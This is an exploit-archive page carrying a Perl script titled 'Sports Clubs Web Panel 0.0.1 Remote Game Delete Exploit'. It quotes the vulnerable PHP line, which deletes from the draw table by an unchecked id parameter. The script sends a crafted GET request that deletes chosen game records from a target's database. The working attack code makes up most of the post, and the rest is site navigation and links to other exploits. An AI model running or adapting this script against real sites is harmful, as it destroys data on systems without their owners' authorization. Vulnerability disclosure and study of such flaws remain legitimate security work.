首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
来源:www.domlabs.org 作者:ka0x 发布时间:2008-09-16  
#!/usr/bin/perl -W

# Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit
# File affected: include/draw-delete.php (id)

# Vuln Code:

# 06:  $did = $_GET['id'];
# 08:  mysql_query("DELETE FROM draw WHERE did='$did'");

# by ka0x <ka0x01 [at] gmail [dot] com>
# D.O.M Labs - Security Researchers
# - www.domlabs.org -
#

# ka0x@domlabs:~/codes$ ./sportspanel.pl http://localhost/sportspanel 3


use LWP::UserAgent;

my $host = $ARGV[0];
my $did = $ARGV[1];

die &_USAGE unless $ARGV[1];

sub _USAGE
{
die "
- Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit -
- by ka0x (www.domlabs.org)

usage: ./$0 <host> <valid_game_id>
ex: ./$0 http://localhost/sportspanel 2
";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");

my $req = HTTP::Request->new(GET => $host."/?p=draw-delete&id=".$did);
my $res = $ua->request($req);
my $con = $res->content;

if ($res->is_success){
if($con =~ /$did/){
print "[+] The Game \"$did\" has been deleted from the database!\n";
}
}

else{
print "[-] Exploit Failed!";
}

__END__

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·pLink 2.07 (linkto.php id) Rem
·Windows Media Encoder wmex.dll
·The Personal FTP Server 6.0f R
·Yourownbux 4.0 (COOKIE) Authen
·CzarNews <= 1.20 (Cookie) Remo
·Maxthon Browser 2.1.4.443 UNIC
·MS Windows WRITE_ANDX SMB comm
·minb 0.1.0 Remote Code Executi
·phsBlog 0.2 Bypass SQL Injecti
·Easy Photo Gallery 2.1 XSS/FD/
·Adobe Acrobat 9 ActiveX Remote
·QuickTime 7.5.5 / ITunes 8.0 R
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved